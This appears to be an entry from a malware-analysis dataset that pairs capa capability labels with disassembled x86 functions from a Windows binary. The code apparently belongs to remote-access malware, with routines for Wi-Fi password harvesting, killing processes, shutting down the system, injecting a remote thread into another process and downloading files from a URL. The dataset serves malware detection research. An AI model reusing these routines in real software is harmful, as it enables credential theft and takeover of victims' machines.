joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100199cc
Capabilities:
Print debug messages
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push edi
push str.GetWifiPsw
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call fcn.1001bf6b
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jne 0x100199f1
jmp 0x10019a30
mov byte [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x108]
push eax
push str._PROGRAMDATA_MicrosoftWlansvcProfilesInterfaces
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea ecx, [ebp - 0x108]
push ecx
call fcn.10019562
add esp, 4
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10019c06
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0xffffffff
mov ecx, dword [ebp - 0xc]
call fcn.1001a2ae
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10019c34
push 0x1008d08c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x10019c62
push str.befor_send_wind
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalSize]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp - 0xc]
call fcn.1000f8b3
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esp, ebp
pop ebp
ret
Function at 0x10019d55
Capabilities:
Acquire debug privileges
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push edi
mov dword [ebp - 0x218], ecx
mov dword [ebp - 4], 0
push 1
push 0x1008d0b8
call fcn.1001a1ac
add esp, 8
mov dword [ebp - 8], 0
jmp 0x10019d8d
mov eax, dword [ebp - 8]
add eax, 4
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp + 0xc]
jae 0x10019e63
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
mov eax, dword [edx]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1001c2f9
test eax, eax
jne 0x10019e15
mov byte [ebp - 0x214], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x213]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp - 0xc]
push ecx
push str.ntsd__c_q__p__d
lea edx, [ebp - 0x214]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x110], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp - 0xc]
push ecx
push str.TASKKILL__F__PID__d
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x10019d84
push 0
push 0x1008d0f0
call fcn.1001a1ac
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x218]
call fcn.10019b47
mov ecx, dword [ebp - 0x218]
call fcn.10019c06
pop edi
mov esp, ebp
pop ebp
ret 8

Function at 0x10019e97
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.10025b70
mov eax, dword [ebp + 8]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10019ec5
mov eax, 1
jmp 0x10019f3e
lea ecx, [ebp - 4]
push ecx
push 0x1000
lea edx, [ebp - 0x1008]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x10019f32
mov dword [ebp - 0x100c], 0
jmp 0x10019efd
mov ecx, dword [ebp - 0x100c]
add ecx, 1
mov dword [ebp - 0x100c], ecx
mov edx, dword [ebp - 4]
shr edx, 2
cmp dword [ebp - 0x100c], edx
jae 0x10019f32
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x100c]
mov eax, dword [ebp + edx*4 - 0x1008]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x10019f30
jmp 0x10019f32
jmp 0x10019eee
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10019f42
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x55c
push edi
mov dword [ebp - 0x55c], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x248], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x238], 0
mov ecx, 0x49
xor eax, eax
lea edi, [ebp - 0x234]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x240], 0
push 1
push 0x1008d104
call fcn.1001a1ac
add esp, 8
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x10019fe2
xor eax, eax
jmp 0x1001a1a7
mov dword [ebp - 0x238], 0x128
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x23c], eax
mov eax, dword [ebp - 0x23c]
mov byte [eax], 0xa7
mov dword [ebp - 0x244], 1
lea ecx, [ebp - 0x238]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1001a16c
cmp dword [ebp - 0x230], 0
je 0x1001a154
cmp dword [ebp - 0x230], 4
je 0x1001a154
cmp dword [ebp - 0x230], 8
je 0x1001a154
mov byte [ebp - 0x558], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x557]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x558]
push eax
mov ecx, dword [ebp - 0x230]
push ecx
call fcn.10019e97
add esp, 0xc
mov dword [ebp - 0x240], 0x20c
mov edx, dword [ebp - 0x23c]
push edx
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0x244]
add ecx, dword [ebp - 0x240]
cmp eax, ecx
jae 0x1001a0ce
push 0x42
mov edx, dword [ebp - 0x244]
add edx, dword [ebp - 0x240]
push edx
mov eax, dword [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov dword [ebp - 0x23c], eax
mov dword [ebp - 0x454], 0
mov ecx, 0x82
xor eax, eax
lea edi, [ebp - 0x450]
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0x230]
mov dword [ebp - 0x454], ecx
lea edx, [ebp - 0x214]
push edx
lea eax, [ebp - 0x450]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
lea ecx, [ebp - 0x558]
push ecx
lea edx, [ebp - 0x34c]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov eax, dword [ebp - 0x240]
push eax
lea ecx, [ebp - 0x454]
push ecx
mov edx, dword [ebp - 0x23c]
add edx, dword [ebp - 0x244]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x244]
add eax, dword [ebp - 0x240]
mov dword [ebp - 0x244], eax
lea ecx, [ebp - 0x238]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1001a02a
push 0x42
mov eax, dword [ebp - 0x244]
push eax
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov dword [ebp - 0x23c], eax
push 0
push 0x1008d118
call fcn.1001a1ac
add esp, 8
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x23c]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x1001a244
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
push 1
push 0x1008d12c
call fcn.1001a1ac
add esp, 8
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.1001a1ac
add esp, 8
pop ebp
ret

Function at 0x1001a2ae
Capabilities:
Enumerate gui resources
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
push 0x190
push 0
push 0x10095a40
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x1001a273
call dword [sym.imp.USER32.dll_EnumWindows]
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
jmp 0x1001a2f1
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [0x10095bd0]
jg 0x1001a3ed
push 0x104
push 0
push 0x10095bd4
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x10095a40]
mov dword [ebp - 0x10], eax
push 0x104
push 0x10095bd4
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x1001a352
push 0x10095bd4
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x1001a354
jmp 0x1001a2e8
cmp dword [ebp - 4], 0
jne 0x1001a367
push 1
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
push 0x10095bd4
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 5
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov dword [ebp - 0x14], eax
push 0x42
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x10095bd4
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
push 0x10095bd4
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
lea ecx, [eax + edx + 4]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x1001a2e8
mov edx, dword [ebp - 4]
mov byte [edx], 0xa8
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x1001ab08
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8044
call fcn.10025b70
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
push 0x38
push 0x1008d2f8
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x38]
push ecx
call fcn.10020000
add esp, 0x10
mov dword [ebp - 0x403c], eax
cmp dword [ebp - 0x403c], 0
je 0x1001ab5b
mov eax, dword [ebp - 0x403c]
jmp 0x1001ac54
mov edx, dword [ebp + 8]
push edx
push 0x4000
push 1
lea eax, [ebp - 0x803c]
push eax
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0xc]
and edx, 0x20
test edx, edx
je 0x1001ab9a
lea eax, [ebp - 0x38]
push eax
call fcn.100206e0
add esp, 4
or eax, 0xffffffff
jmp 0x1001ac54
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0xc]
and edx, 0x10
neg edx
sbb edx, edx
and edx, 4
mov dword [ebp - 0x8044], edx
lea eax, [ebp - 0x803c]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x28], 0x4000
lea ecx, [ebp - 0x4038]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x8044]
push edx
lea eax, [ebp - 0x38]
push eax
call fcn.10020380
add esp, 8
mov dword [ebp - 0x403c], eax
mov ecx, 0x4000
sub ecx, dword [ebp - 0x28]
mov dword [ebp - 0x8040], ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x8040]
push eax
push 1
lea ecx, [ebp - 0x4038]
push ecx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
cmp eax, dword [ebp - 0x8040]
jne 0x1001ac22
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xc]
and eax, 0x20
test eax, eax
je 0x1001ac33
lea ecx, [ebp - 0x38]
push ecx
call fcn.100206e0
add esp, 4
or eax, 0xffffffff
jmp 0x1001ac54
cmp dword [ebp - 0x28], 0
je 0x1001abb9
cmp dword [ebp - 0x8044], 4
jne 0x1001ab5b
lea edx, [ebp - 0x38]
push edx
call fcn.100206e0
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1001ac58
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8044
call fcn.10025b70
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
push 0x38
push 0x1008d300
lea eax, [ebp - 0x38]
push eax
call fcn.100215c0
add esp, 0xc
mov dword [ebp - 0x403c], eax
cmp dword [ebp - 0x403c], 0
je 0x1001acb5
mov eax, dword [ebp - 0x403c]
jmp 0x1001adf9
mov ecx, dword [ebp + 8]
push ecx
push 0x4000
push 1
lea edx, [ebp - 0x803c]
push edx
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0xc]
and ecx, 0x20
test ecx, ecx
je 0x1001acf4
lea edx, [ebp - 0x38]
push edx
call fcn.10021460
add esp, 4
or eax, 0xffffffff
jmp 0x1001adf9
cmp dword [ebp - 0x34], 0
jne 0x1001acff
jmp 0x1001adde
lea eax, [ebp - 0x803c]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x28], 0x4000
lea ecx, [ebp - 0x4038]
mov dword [ebp - 0x2c], ecx
push 0
lea edx, [ebp - 0x38]
push edx
call fcn.100215e0
add esp, 8
mov dword [ebp - 0x403c], eax
mov eax, dword [ebp - 0x403c]
mov dword [ebp - 0x8044], eax
cmp dword [ebp - 0x8044], 0xfffffffc
jl 0x1001ad76
cmp dword [ebp - 0x8044], 0xfffffffd
jle 0x1001ad5f
cmp dword [ebp - 0x8044], 2
je 0x1001ad55
jmp 0x1001ad76
mov dword [ebp - 0x403c], 0xfffffffd
lea ecx, [ebp - 0x38]
push ecx
call fcn.10021460
add esp, 4
mov eax, dword [ebp - 0x403c]
jmp 0x1001adf9
mov edx, 0x4000
sub edx, dword [ebp - 0x28]
mov dword [ebp - 0x8040], edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x8040]
push ecx
push 1
lea edx, [ebp - 0x4038]
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
cmp eax, dword [ebp - 0x8040]
jne 0x1001adb6
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
and ecx, 0x20
test ecx, ecx
je 0x1001adc7
lea edx, [ebp - 0x38]
push edx
call fcn.10021460
add esp, 4
or eax, 0xffffffff
jmp 0x1001adf9
cmp dword [ebp - 0x28], 0
je 0x1001ad08
cmp dword [ebp - 0x403c], 1
jne 0x1001acb5
lea eax, [ebp - 0x38]
push eax
call fcn.10021460
add esp, 4
mov eax, dword [ebp - 0x403c]
sub eax, 1
neg eax
sbb eax, eax
and al, 0xfd
mov esp, ebp
pop ebp
ret
Function at 0x1001b123
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push edi
mov dword [ebp - 0x88], 0
mov byte [ebp - 0x84], 0
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x83]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], 0
mov dword [ebp - 0x94], 0
push 0x1008d3e4
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x90], eax
push 0x1008d3e8
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.1001f620
add esp, 8
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x90], 0
je 0x1001b1a2
cmp dword [ebp - 0x8c], 0
jne 0x1001b1aa
or eax, 0xffffffff
jmp 0x1001b2ad
mov edx, dword [ebp - 0x90]
push edx
push 0x80
push 1
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jle 0x1001b218
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x88]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x88]
push edx
lea eax, [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.1001fdd0
add esp, 0xc
push 0x80
push 0
lea edx, [ebp - 0x84]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
jmp 0x1001b1aa
mov eax, dword [ebp - 0x90]
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.1001ff80
add esp, 4
mov edx, dword [ebp + 0xc]
push edx
call fcn.1001affc
add esp, 4
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], 0
fild qword [ebp - 0x9c]
fmul qword [0x1007f8e0]
mov eax, dword [ebp - 4]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], 0
fild qword [ebp - 0xa4]
fdivp st(1)
fsubr qword [0x1007f8e0]
fmul qword [0x1007f8d8]
sub esp, 8
fstp qword [esp]
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.1001affc
add esp, 4
push eax
mov edx, dword [ebp - 4]
push edx
push str.Read__ld_bytes__Wrote__ld_bytes_Compression_factor__4.2f___n
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0x14
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x1001b377
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0x10], ecx
mov dl, byte [ebp + 0x20]
mov byte [ebp - 0xc], dl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
lea edx, [ebp - 0x14]
push edx
push 0x1001b2e0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov dword [ebp - 4], eax
push 0xffffffffffffffff
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x1001b5cd
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
push 0x128
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ecx], 0x128
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1001b672
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x24
push edx
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x1001b63c
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
jmp 0x1001b675
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1001b672
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x24
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1001b670
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
jmp 0x1001b675
jmp 0x1001b63c
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x1001b679
Capabilities:
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
push 5
push 0xffffffffffffffff
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x1001b6d6
push 0x100
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 8]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, dword [ebp - 0xc]
jmp 0x1001b6d8
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1001b8bf
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push 0x9c
push 0
lea eax, [ebp - 0x9c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x9c], 0x9c
lea ecx, [ebp - 0x9c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x1001b918
mov dword [ebp - 0x9c], 0x94
lea edx, [ebp - 0x9c]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x1001b918
xor eax, eax
jmp 0x1001b936
cmp dword [ebp - 0x98], 5
jne 0x1001b931
cmp dword [ebp - 0x94], 0
jne 0x1001b931
call fcn.1001b6dc
jmp 0x1001b936
call fcn.1001b679
mov esp, ebp
pop ebp
ret
Function at 0x1001baca
Capabilities:
Simulate ctrl alt del

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 4], eax
push str.Winlogon
call fcn.1001ba65
add esp, 4
test eax, eax
jne 0x1001baf3
xor eax, eax
jmp 0x1001bb21
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
cmp dword [ebp - 4], 0
je 0x1001bb1c
mov eax, dword [ebp - 4]
push eax
call fcn.1001ba03
add esp, 4
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x1001bb25
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x414], 0
mov dword [ebp - 8], 1
mov dword [ebp - 4], 1
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0
jne 0x1001bb79
xor al, al
jmp 0x1001bc5a
push 0
push SysReAllocString
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x410]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1001bba5
xor al, al
jmp 0x1001bc5a
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0xffffffff
je 0x1001bc3a
push 0x400
push 0
lea eax, [ebp - 0x40c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x41c]
push ecx
push 0x400
lea edx, [ebp - 0x40c]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0
lea ecx, [ebp - 0x414]
push ecx
mov edx, dword [ebp - 0x41c]
push edx
lea eax, [ebp - 0x40c]
push eax
mov ecx, dword [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x41c], 0
ja 0x1001bbcd
mov edx, dword [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x410]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
cmp dword [ebp - 4], 0
setne al
mov esp, ebp
pop ebp
ret
Function at 0x1001bd79
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 0xc], 0
jne 0x1001bd8c
xor al, al
jmp 0x1001be1a
mov eax, dword [ebp + 8]
push eax
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1001bda7
xor al, al
jmp 0x1001be1a
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0xc], eax
push 0x1008d4c0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x1001bdf8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x1001be1a
push 0xffffffffffffffff
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x1001be1e
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push edi
mov dword [ebp - 8], 0
mov dword [ebp - 0x22c], 0
mov ecx, 0x88
xor eax, eax
lea edi, [ebp - 0x228]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
mov dword [ebp - 0x22c], 0x224
lea ecx, [ebp - 0x22c]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x1001bea8
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1001be94
mov edx, dword [ebp - 0x210]
mov dword [ebp - 8], edx
jmp 0x1001bea8
lea eax, [ebp - 0x22c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x1001be74
